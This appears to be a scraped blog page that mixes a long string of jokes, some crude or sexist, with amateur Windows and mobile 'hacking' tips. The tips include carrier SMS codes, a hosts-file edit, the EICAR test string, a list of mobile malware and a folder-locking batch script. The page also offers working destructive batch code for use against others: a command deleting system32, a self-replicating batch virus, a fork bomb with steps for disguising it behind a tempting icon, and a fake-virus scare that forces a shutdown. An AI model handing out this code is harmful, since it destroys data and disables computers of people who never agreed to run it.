jokes

An elderly woman went to her local doctor’s office and asked to speak with her doctor. When the receptionist asked why she was there, she replied, “I’d like to have some birth control pills.” Taken back, the doctor thought for a minute and then said, “Excuse me, Mrs. Glenwood, but you’re 80 years old. What would you possibly need birth control pills for?” The woman replied, “They help me sleep better.” The doctor considered this for a second, and continued… “How in the world do birth control pills help you sleep?” The woman said, “I put them in my granddaughter’s orange juice, and I sleep better at night.” "Mister, why doesn't this cow have any horns?" asked the young lady from a nearby city. The farmer cocked his head for a moment, then began in a patient tone, "Well, ma'am, cattle can do a powerful lot of damage with horns. Sometimes we keep'em trimmed down with a hacksaw. Other times we can fix up the young 'uns by puttin' a couple drops of acid where their horns would grow in, and that stops 'em cold. Still, there are some breeds of cattle that never grow horns. But the reason this cow don't have no horns, ma'am, is 'cause it's a horse." 3 guys were riding in a car: a hardware technician, a systems analyst, and a programmer. The systems analyst is driving and when they come to a steep hill he finds that the brakes have failed and the car is accelerating out of control. So, the driver pumps the emergency brake, downshifts the gears, and rubs the wheels' rims against the curb. He finally wrestles the car to a stop. The three climb out and assess the situation. Hardware tech: "Let's try and fix it. I'll crawl under the car and take a look. " Systems analyst: "No. I think we should get someone qualified to fix it, a specialist in brakes." Programmer: "Why don't we just get back in and see if it happens again?" "What time does the library open?" the man on the phone asked. "Nine A.M." came the reply. "And what's the idea of calling me at home in the middle of the night to ask a question like that?" "Not until nine A.M.?" the man asked in a disappointed voice. "No, not till nine A.M.!" the librarian said. "Why do you want to get in before nine A.M.?" "Who said I wanted to get in?" the man sighed sadly. "I want to get out."  One day, Satan was out for a walk through Hell, making sure things were running smoothly. When he got to the Lake of Fire, he saw a man sitting by the lake, relaxing in a lawn chair, and not sweating or looking uncomfortable at all. Perplexed, Satan approached the man and asked: "Young man, are you not hot or bothered by this heat?" The man replied, "Oh no, not at all. I lived in downtown Toronto and this weather is just like a typical July day in the city." Satan thought that this was not a good sign, so he rushed back to his office and turned up the heat in Hell another 100 degrees. Satisfied with himself, he again returned to the Lake of Fire to check on the young man. When he got there, the man was showing a few beads of sweat, but that was all. Again Satan asked the Torontonian, "Are you hot and uncomfortable yet?" The young man looked up and said, "No, the temperature is just like a hot August day in Toronto. I'm coping it just fine." Satan decided that he had to do something drastic to make this man's stay in Hell unpleasant. He went back to his office, turned the heat all the way down, and then turned up the air conditioning. The temperature in Hell quickly dropped well below zero. As he approached the Lake of Fire, he noticed that it was now frozen over. He also saw the Torontonian jumping up and down wildly, waving his arms and yelling into the air. "This looks promising!" thought Satan. Coming closer, he finally made out what the man was shouting: "The Leafs have won the Stanley Cup! The Leafs have won the Stanley Cup!" An old farmer had owned a large farm for several years. He had a large pond in the back forty, had it fixed up nice; picnic tables, horseshoe courts, basketball court, etc. The pond was fixed for swimming when it was built. One evening the old farmer decided to go down to the pond, as he hadn't been there for a while, and look it over. As he neared the pond, he heard voices shouting and laughing with glee. As he came closer he saw it was a bunch of young women skinny-dipping in his pond. He made the women aware of his presence and they all went to the deep end of the pond. One of the women shouted to him, "We're not coming out until you leave!" The old man replied, "I didn't come down here to watch you ladies swim or make you get out of the pond, I only came to feed my alligators." Old age and treachery will triumph over youth and skill every time! A teacher gave her fifth grade class an assignment: Get their parents to tell them a story with a moral at the end of it. The next day the kids came back and one by one began to tell their stories. Kathy said, "My father's a farmer and we have a lot of egg-laying hens. One time we were taking our eggs to market in a basket on the front seat of the pickup when we hit a bump in the road and all the eggs went flying and broke and made a mess." "And what's the moral of the story?" asked the teacher. "Don't put all your eggs in one basket!" "Very good," said the teacher. Next little Lucy raised a hand and said, "Our family are farmers, too. But we raise chickens for the meat market. We had a dozen eggs one time, but when they hatched we only got ten live chicks and the moral to this story is, don't count your chickens until they're hatched." "That was a fine story Lucy. Johnny, do you have a story to share?" "Yes, ma'am! My daddy told me this story about my Aunt Marge. She was a flight engineer during Desert Storm and her plane got hit. She had to bail out over enemy territory, and all she had was a bottle of whiskey, a machine gun and a Machete. So .. she drank the whiskey on the way down so it wouldn't break. Then she landed right in the middle of 100 enemy troops. She killed 70 of them with the machine gun until it ran out of bullets! Then she killed 20 more with the machete till the blade broke; then she killed the last 10 with her bare hands." "Good heavens," said the horrified teacher, "what kind of moral did your daddy tell you from that horrible story?" "Stay away from Aunt Marge when she's been drinking." A man with a nagging secret couldn't keep it any longer. In the confessional he admitted that for years he had been stealing building supplies from the lumberyard where he worked. "What did you take?" his priest asked. "Enough to build my own house and enough for my son's house. And houses for our two daughters and our cottage at the lake." "This is very serious," the priest said. "I shall have to think of a far-reaching penance. Have you ever done a retreat?" "No, Father, I haven't," the man replied. "But if you can get the plans, I can get the lumber." A woman has twins, and gives them up for adoption. One of them goes to a family in Egypt and is named "Amal." The other goes to a family in Spain; they name him "Juan". Years later, Juan sends a picture of himself to his mum. Upon receiving the picture, she tells her husband that she wishes she also had a picture of Amal. Her husband responds, "But they are twins. If you've seen Juan, you've seen Amal." My parents recently retired. Mom always wanted to learn to play the piano, so dad bought her a piano for her birthday. A few weeks later, I asked how she was doing with it. "Oh, we returned the piano." said My Dad, "I persuaded her to switch to a clarinet instead." "How come?" I asked. "Because," he answered, "with a clarinet, she can't sing." A man asked his wife what she'd like for her 40th birthday. "I'd love to be six again," she replied. On the morning of her birthday, he got her up bright and early and off they went to a local theme park. What a day! He put her on every ride in the park: the Death Slide, the Screaming Loop, the Wall of Fear, everything there was! Wow! Five hours later she staggered out of the theme park, her head reeling and her stomach upside down. Right to a McDonald's they went, where her husband ordered her a Happy Meal along with extra fries and a refreshing chocolate shake. Then, it was off to a movie - the latest Disney and what a fabulous adventure! Finally, she wobbled home with her husband and collapsed into bed. He leaned over and lovingly asked, "Well, dear, what was it like being six again?" One eye opened. "You idiot, I meant my dress size." The moral of this story is: When a woman speaks and a man is actually listening, he will still get it wrong. Two elderly couples were enjoying friendly conversation when one of the men asked the other, "Fred, how was the memory clinic you went to last month?" "Outstanding," Fred replied. "They taught us all the latest psychological techniques - visualization, association - it's made a big difference for me." "That's great! What was the name of that clinic?" Fred went blank. He thought and thought but couldn't remember. Then a smile broke across his face and he asked, "What do you call that flower with the long stem and thorns?" "You mean a rose?" "Yes, that's it!" He turned to his wife. "Rose, what was the name of that clinic?" Two brothers jointly owned a business and both were wise in worldly ways. While dying, one brother instructed his sibling to put half of their combined wealth into the grave with the casket. The brother reluctantly agreed. In time his brother died. At the graveside ceremony the living brother wrote a check for half of their assets and placed it in the casket. For years Dr. Benson had left his office and gone to Teddy's Bar, where Teddy would fix him a daiquiri laced with crushed pecans. One day, however, Teddy ran out of pecans; instead he substituted hickory nuts. Dr. Benson sat down and took a sip under Teddy's watchful eyes; he frowned. "Say, Teddy, this isn't an almond daiquiri. Just what is it?" "I can't lie to ya," Teddy said. "It's hickory daiquiri, Doc." In this life I'm a woman. In my next life, I'd like to come back as a bear. When you're a bear, you get to hibernate. You do nothing but sleep for six months. I could deal with that. Before you hibernate, you're supposed to eat yourself stupid. I could deal with that, too. When you're a girl bear, you birth your children (who are the size of walnuts) while you're sleeping and wake to partially grown, cute cuddly cubs. I could definitely deal with that. If you're a mama bear, everyone knows you mean business. You swat anyone who bothers your cubs. If your cubs get out of line, you swat them too. I could deal with that. If you're a bear, your mate EXPECTS you to wake up growling. He EXPECTS that you will have hairy legs and excess body fat. Yup... gonna be a bear. A woman woke up one morning to find a ferocious-looking gorilla in a tree on her African plantation. She quickly phoned the local game warden, who arrived minutes later. In one hand he held a shotgun, and in the other the leash of a fierce Doberman pinscher. As they walked to the tree, the warden explained, "What's going to happen is that I go up the tree, throw the gorilla out, and the dog clamps his teeth on the gorilla's balls." The woman nodded and was surprised when he handed her the gun. "You know how to use this?" he asked. "I do," she said, "but what's it for?" The warden replied, "Well ..... sometimes the gorillas are pretty tough and throw me out of the tree. If that happens, I want you to do one thing." "Shoot the gorilla?" "No," he answered, "the dog." An accountant dies and goes to heaven. He reaches the pearly gates and is amazed to see a happy crowd all waving banners and chanting his name. After a few minutes St. Peter comes running across and says, "I'm sorry I wasn't here to greet you personally. God is looking forward to meeting such a remarkable man as yourself." The accountant is perplexed. "I've tried to lead a good life, but I am overwhelmed by your welcome," he tells St. Peter. "It's the least we can do for someone as special as you are. Imagine, living to the age of 160 and still looking so young," says St. Peter. The man looks even more dumbfounded and replies, "160? I don't know what you mean. I'm only 40." St. Peter replies, "But that can't be right - we've seen your time sheets!" In the Hospital the relatives gathered in the waiting room, where their family member lay gravely ill. Finally, the doctor came in looking tired and somber. "I'm afraid I am the bearer of bad news," he said as he surveyed the worried faces, "The only hope left for your loved one at this time is a brain transplant. It's an experimental procedure, semi-risky, and you will have to pay for the brain yourselves." The family members sat silent as they absorbed the news. After a length of time, someone asked, "Well, how much does a brain cost?" The Doctor quickly responded, "$5000 for a male brain, and $200 for a female brain." The moment turned awkward. Men in the room tried not to smile, avoiding eye contact with the women, but some actually smirked. A man, unable to control his curiosity, blurted out the question everyone wanted to ask, "Why is the male brain so much more?" The doctor smiled at the childish innocence and then to the entire group said, "It's just standard pricing procedure. We have to mark down the price of the female brains, because they've been used." Two cops were parked on the side of a busy highway waiting to nab individuals throwing litter out their car windows. One car drove by and threw out some garbage but the traffic was too thick to allow the cops an opportunity to pull out and haul the car over. Another car drove by and it too tossed some garbage. Just as before, the traffic was too busy. Vehicles proceeded to pass by throwing garbage until finally the cops had an opening to pull over a car which had a guy and a girl in it. The police had the man back up to retrieve garbage, which turned out to be a used condom. One of the cops said, "You know there are huge fines for littering on this highway". To which the motorist replied with a satisfied look on his face, "that's not litter, it orgasmic material!" An efficiency expert concluded his lecture with a note of caution. "You don't want to try these techniques at home." "Why not?" asked somebody from the audience. "I watched my wife's routine at breakfast for years," the expert explained. "She made lots of trips between the refrigerator, stove, table and cabinets, often carrying a single item at a time. One day I told her, 'Hon, why don't you try carrying several things at once?'" "Did it save time?" the person in the audience asked. "Actually, yes," replied the expert. "It used to take her 20 minutes to make breakfast. Now I do it in seven."

Secure your Desktop Icons and Settings

You can save your desktop settings and secure it from your nerdy friend by playing with the registry. Simply launch the Registry

Editor go to:  

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer  

In the right pane create a new DWORD Value named

NoSaveSettings and modify it's value to 1. Refresh and restart for the settings to get saved.

best web site

http://www.hackerzworld.in

Activate 3G on Idea for Free

Hey Freinds if u are using Idea and want to Activate 3G


Goto Messages

Write Message


ACT3G and send it to 12345

or


3G to 54777


Njoy!! 3G

Activate 3G on Aircel for Free

Hey Freinds if u are using Aircel and want to Activate 3G


Goto Messages


Write Message


START 3G and send it to 121

Njoy!! 3G

Activate 3G on Airtel for Free

Hey Freinds if u are using Airtel  and want to Activate 3G


Goto Messages


Write Message


send 3G to 121

or

send 3G to 53333

Use Facebook for Free on your Phone

Hey Freind there is a great news for Airtel & Docomo Users

now u can use Facebook text version free on your Phone

Just use this link below:-

http://0.facebook.com

Enjoy !!

How to Block a Website?

> Goto Start Button

> Run

> Type
notepad %windir%\system32\drivers\etc\hosts

> Press Enter

> A notepad file will be opened like below 

> Now at the end of the notepad file Type # 127.0.0.1 (add website address)

> eg.      # 127.0.0.1           www.yoursite.com

Enjoy!!!!!!!!!!!!!!! 

Test Wheather your AntiVirus is Protecting your PC or Not

. Open Notepad & paste this

X50!P%@AP[4\PZX54(P^)7CC)7}EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* 

2. Save it as eicar.com The AntiVirus should stop you (if it does that means its working).Test Wheather your AntiVirus is Protecting your PC or Not

Attack Your Freind's PC with a Small Virus

Making a file that destroys your victims pc

1.      Open Notepad

2.      write the above command : -del c:\WINDOWS\system32\**/q

3.      Save the above notepad with the extension ".bat or .cmd" as u want

4.      !!!!!!!!!!!!!!!!!!!!!!Attention!!!!!!!!!!!!!!!!!!!!!!

5.      Don't double click the file otherwise u r in trouble. Why ??????

6.      because the file u created deletes all files from ursystem32 folder and when u restart ur pc it will not start because system can not find the files in the system32 folder which is required at the time of booting.

7.      You can also test the above by creating a fake folder let supposewindows1 in C:\. Copy some old files in it and just follow the above command. By double clicking the bat or cmd file your all files automatically get deleted.

8.       You can try this file in any one`s computer.(but this will result in causing damage to the computer, so think again before trying this on anyone's pc)

10 Most Dangerous Virus Mobile

1. Cabir

Found: Jun 2004

Nickname: SymbOS / Cabir.A, EPOC / Cabir.A, Worm.Symbian.Cabir.a, Caribe

Target: Mobile Symbian S60V2

Scattered through: Bluetooth

Damage: slow performance of mobile
Cabir is a worm that spreads via a Bluetooth connection and into the inbox messages with an interesting name. If the file will be opened and installed, Cabir will start looking for other mobile targets that are open access his Bluetooth connections to spread. Cabir Bluetooth will enable a periodic basis, about 15-20 minutes, to get other mobile targets. There is no danger of damage, but the hp battery will run out more quickly because of continuous use bluetooth.

2. Skulls

Discovered: November 2004

Nickname: SymbOS.skulls, skulls.sis, Extenhded theme.sis

Target: Symbian mobile phone

Scattered through: Internet

Damage: mobile phones can not be used again except to call and receive calls.
When installed, Skull H will display notification message: “Install beta_092_free-sms-RM8″ and Skull S displays the message “Install BlueNum Stealer”, and some other weird messages. These types of Trojans and system damage caused icon menu icon changed into a skull. Not only can change the icons, Skull can damage all the applications that his icon has been changed. Usually when an infected application is opened it will appear is the error message.

3. CommWarrior

Found: Jan 2005

Nickname: random

Target: Mobile Symbian S60V2

Scattered through: Bluetooth and MMS

Damage: Sending virus replication through MMS to any number in contacs, spent a pulse.
These viruses are often not being recognized because the name he used was not sure. This type of virus attacks vary widely, but the most common is the virus will spread through Bluetooth. Several variants of this virus will also send MMS to random numbers stored in contacs. The last variant was found Commwarrior T. that infects the Symbian 8.1 (S60V2) or previous versions. This virus will spread and sometimes to open the HTML page containing a message like this:

“Introduction Surprise! Your phone infected by CommWarrior worm v3.0. Matrix has you, CommWarrior inside. No panic please, it is very interesting to have mobile virus at own phone. This worm does not bring any harm to your phone and your significant data. About CommWarrior worm for Nokia Series60 provides automatic real-time protection against harmful content Anti-Virus. CommWarrior is free software and is distributed in the hope that it will be useful, without any warranty. Thank you for using CommWarrior. CommWarrior © 2005 -2006 by e10d0r. ”

4. Locknut

Found: Mar 2005

Nickname: unknown

Target: Symbian s60

Scattered through: Internet download

Damage: crashing phone system (ROM)
Locknut or SymbOS.Locknut is a backdoor Trojan that uses the Symbian S60 system. The virus is dangerous because it can change the binary data (file extension. Bin) in the phone ROM from the system, and cause the cell phone operating system stops. Locknut E, one variant of this virus, will destroy important files in the system and cause the application Symbian infected can not be opened. In this way, over time will be locked phone in total.

5. Fontal

Discovered: April 2005

Nickname: unknown

Target: Symbian s60

Scattered through: Internet download

Damage: Lock the phone since the first fired and could not be used.
If the phone lock Locknut gradually, it will lock the phone Fontal since it first started.

6. RommWar

Found: –

Nickname: theme.sis, xxx.sis, Britney_.sis, or the names of other exciting fishing for installation

Target: Symbian s60

Scattered through: Bluetooth, MMS, and internet

Damage: causes phone can not boot, restarts itself often
When the installation process running, the screen will display a message like this: “Install Stoper by WarriorMarrior?”
RommWar consists of 4 variants namely A, B, C and D which all have functions can cause the phone not boot, restarts itself often, turn off the power button, and prevent the mobile to light when lit.

7. DoomBoot

Found: –

Nickname: Doom_2_wad_kracked_by_DFT_S60_v.1.0.sis (disguised as a mobile games Doom 2), exoVirusStopv2.13.19 (disguised as antivirus programs)

Target: symbian s60

Scattered through: Bluetooth

Damage: create corrupted files, preventing phone reboot, if successful reboot it should be hard-reset melakukkan
Doomboot including Trojan viruses. Many variants have been discovered, such as Doomboot A, C, L, F, G, and P. Make Doomboot A corrupted file, and after infecting a file, it will put other viruses such as CommWarrior.B into the mobile phone. Damaged file will prevent the phone to run the reboot. In addition, this virus also causes the battery will quickly run out due to constant use bluetooth connection.

8. CardTrap

Found: –

Nickname: masquerading as famous as kingkong game, Half Life, Battlefield 2, etc.. Sometimes also disguised as an application example SeleQ 1.7 – kracked TNT.sis

Target: Symbian S60 mobile phone and Windows-based PC

Scattered through: memory cards

Damage: causes important applications to malfunction, chaos systems, damaging the function of some buttons
The first mobile phone virus created to also attack Windows-based computers. He will put the virus into 2 files in memory cards for mobile phones. Many variants have been found, such as CardTrap P, Q, R, S to double alphabets like CardTrap AA, AG, AJ, etc.. Cardtrap damage your system by turning off some important applications, especially anti-virus applications. If the memory card to be infected with the virus is connected to a PC, it will grow CardTrap himself to the PC and they will spread themselves.

9. PBStealer

Found: –

Nickname: ChattingYuk.sis, PBCompressor.sis

Target: Symbian s60 phone

Scattered through: Bluetooth

Damage: exploiting the number of contacts, to-do list, database and notepad
PBStealer is mobile viruses from Indonesia, we take pride in Indonesia. This virus will copy important data on our mobile phones such as contacs, to-do list, notes, etc. into the format. Txt and then will spread to other mobile phones such as Bluetooth. Brief look harmless but what if there are important data we are disseminated and used for criminal purposes?.

10. AppDisabler

Found:

Nickname: –

Target: Symbian

Scattered through: Bluetooth, MMS

Damage: install other viruses are dangerous as well, such as Locknut, Cabir and Skulls, causing the entire operating system to a halt.

That said, this is the most dangerous cell phone viruses in existence for combining several types of viruses as well. If this virus has gotten into our mobile phones, which can be done is say goodbye.

New Computer Virus List

OPRAH WINFREY VIRUS: Your 200MB hard drive suddenly shrinks to 80MB, and then slowly expands back to 200MB.
AT&T VIRUS: Every three minutes it tells you what great service you are getting.
MCI VIRUS: Every three minutes it reminds you that you're paying too much for the AT&T virus.
PAUL REVERE VIRUS: This revolutionary virus does not horse around. It warns you of impending hard disk attack---once if by LAN, twice if by C:>.
POLITICALLY CORRECT VIRUS: Never calls itself a "virus", but instead refers to itself as an "electronic microorganism."
RIGHT TO LIFE VIRUS: Won't allow you to delete a file, regardless of how old it is. If you attempt to erase a file, it requires you to first see a counselor about possible alternatives.
ROSS PEROT VIRUS: Activates every component in your system, just before the whole darn thing quits.
MARIO CUOMO VIRUS: It would be a great virus, but it refuses to run.
TED TURNER VIRUS: Colorizes your monochrome monitor.
ARNOLD SCHWARZENEGGER VIRUS: Terminates and stays resident. It'll be back.
DAN QUAYLE VIRUS #2: Their is sumthing rong wit your komputer, ewe jsut cant figyour out watt!
GOVERNMENT ECONOMIST VIRUS: Nothing works, but all your diagnostic software says everything is fine.
NEW WORLD ORDER VIRUS: Probably harmless, but it makes a lot of people really mad just thinking about it.
FEDERAL BUREAUCRAT VIRUS: Divides your hard disk into hundreds of little units, each of which does practically nothing, but all of which claim to be the most important part of your computer.
GALLUP VIRUS: Sixty percent of the PCs infected will lose 38 percent of their data 14 percent of the time. (plus or minus a 3.5 percent margin of error.)
TERRY RANDALL VIRUS: Prints "Oh no you don't" whenever you choose "Abort" from the "Abort" "Retry" "Fail" message.
TEXAS VIRUS: Makes sure that it's bigger than any other file.
ADAM AND EVE VIRUS: Takes a couple of bytes out of your Apple.
CONGRESSIONAL VIRUS: The computer locks up, screen splits erratically with a message appearing on each half blaming the other side for the problem.
AIRLINE VIRUS: You're in Dallas, but your data is in Singapore.
FREUDIAN VIRUS: Your computer becomes obsessed with marrying its own motherboard.
PBS VIRUS: Your programs stop every few minutes to ask for money.
ELVIS VIRUS: Your computer gets fat, slow and lazy, then self destructs; only to resurface at shopping malls and service stations across rural America.
OLLIE NORTH VIRUS: Causes your printer to become a paper shredder.
NIKE VIRUS: Just does it.
SEARS VIRUS: Your data won't appear unless you buy new cables, power supply and a set of shocks.
JIMMY HOFFA VIRUS: Your programs can never be found again.
CONGRESSIONAL VIRUS #2: Runs every program on the hard drive simultaneously, but doesn't allow the user to accomplish anything.
KEVORKIAN VIRUS: Helps your computer shut down as an act of mercy.
IMELDA MARCOS VIRUS: Sings you a song (slightly off key) on boot up, then subtracts money from your Quicken account and spends it all on expensive shoes it purchases through Prodigy.
STAR TREK VIRUS: Invades your system in places where no virus has gone before.
HEALTH CARE VIRUS: Tests your system for a day, finds nothing wrong, and sends you a bill for $4,500.
GEORGE BUSH VIRUS: It starts by boldly stating, "Read my docs....No new files!" on the screen. It proceeds to fill up all the free space on your hard drive with new files, then blames it on the Congressional Virus.
CLEVELAND INDIANS VIRUS: Makes your 486/50 machine perform like a 286/AT.
LAPD VIRUS: It claims it feels threatened by the other files on your PC and erases them in "self defense".
CHICAGO CUBS VIRUS: Your PC makes frequent mistakes and comes in last in the reviews, but you still love it.
ORAL ROBERTS VIRUS: Claims that if you don't send it a million dollars, it's programmer will take it back. >>

How to create a Highly Dangerous Virus!

 1. Open Notepad
2. Copy & Paste below Code to your notepad 

code:@echo off>nul.ViRuS
if ?%1==?/ViRuS_MULTIPLY goto ViRuS_multiply
if ?%1==?/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
if ?%1==?/ViRuS_FINDSELF goto ViRuS_findself
if ?%VOFF%==?T goto ViRuS_OLDBAT
set ViRuSname=%0
if not exist %0.bat call %0 /ViRuS_FINDSELF %path%
if not exist %ViRuSname%.bat set ViRuSname=
if ?%ViRuSname%==? goto ViRuS_OLDBAT
rem ViRuS if batch is started with name.BAT, virus will not become active
rem ViRuS it was a bug, now it?s a feature ! (also notice the voff variable)
rem ViRuS also if batch was only in an append /x:on path (chance=minimal)
attrib +h %ViRuSname%.bat
for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
attrib -h %ViRuSname%.bat
set ViRuSname=
goto ViRuS_OLDBAT
:ViRuS_findself
if ?%2==? goto XXX_END>nul.ViRuS
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
shift>nul.ViRuS
goto ViRuS_findself
:ViRuS_outer_loop
for %%a in (%2*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
goto XXX_END>nul.ViRuS
:ViRuS_multiply
find ?ViRuS? <%ViRuSname%.bat >xViRuSx.bat
find /v ?ViRuS? <%2 |find /v ?:XXX_END? >>xViRuSx.bat
echo :XXX_END>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
goto XXX_END>nul.ViRuS
:ViRuS_OLDBAT
echo on>nul.ViRuS
echo This Virus Is Made By bystwn22.
:XXX_END

3. Save it as virus.txt
4. Close Notepad.
5. Now rename the virus.txt to virus.exe

Create a virus to make the computer freezed using Batch Programming

Now i am going to give you simple and only one line Batch code. Special about this virus is that easy to remember the code. So it will be useful to use in college or school.

  This is for newbie. This virus is harmful for CPU. So be careful. Don't run this in your pc or friend pc.

Open a notepad.


                  copy this code to notepad:
                    %0|%0

• Save the file with .bat extension(For eg: music.bat)
• That's all once your victim clicked this file,the CPU will be overloaded.
• Don't worry it will be come to normal operation after restarting.
If you are doing this in your college or school,you can try this:
• copy this bat file to any drive.
• Create shortcut to desktop(by right click and sent to desktop).
• Now go to desktop and right click on the shortcut.
• Select Properties.
• Click the Change icon.
• Select any icon which will attract users.
• and click ok.

Fake virus for making fun with your friends

Fake virus for making fun with your friends

Hi friends, you probably don't want to harm your friend pc but you like to fun with them.  If you think so, then you can use this fake virus. 
Fake virus what i mean?
   This is not at all virus.  This is not at all make any effect.  It just shut down your friend system for only once and show  " your facebook account is hacked"(for fun only).
What is the code?
   So far we create a lot of virus using Batch programming .  This time also we are going to use our Batch programming.  

@echo off
msg * WARNING VIRUS DETECTED!!!!! AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BE DELETED !!!!TO REMOVE THE VIRUS CLICK OK OR CLOSE THIS BOX!
PAUSE
shutdown -r -t 300 -c " SORRY!!! YOUR FACEBOOK ACCOUNT ARE NOW BEING DELETED !!! PLEASE WAIT ..........."

What you should do with this code?
      Copy this code and paste in notepad
       Save the file with .bat extension.(for eg: facebookhelp.bat)
       Now sent this file to your friend and ask to click.

What this will do?
  It will show first  "WARNING VIRUS DETECTED!!!!! AFTE.........." msg in cmd
  Then it will shutdown.  Before shutdown it will show "SORRY!!! YOUR ....." msg in cmd .

How to lock a folder without any software (Batch Programming)

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Enter password to lock folder or for cancel press N
set/p "cho=>"
if %cho%==XXXX goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==XXXX goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

1. Copy this Code into notepad and replace the XXXX with your password.
2. Save it with .bat extension(for eg: lock.bat).
3. Copy the Batch file to any folder.
4. Now double click the Batch file, It will ask you to enter the Password. Enter the password.
5. Now you can see the Lock folder is created.
6. Place your files into lock folder which you want to protect.
7. Again double click the Batch file, it will ask you enter the password. Enter the password.
8. Now the folder will be Locked.
9. To unlock again double click the Batch file,enter the password.
10. You can see the Lock folder

It is very cool to use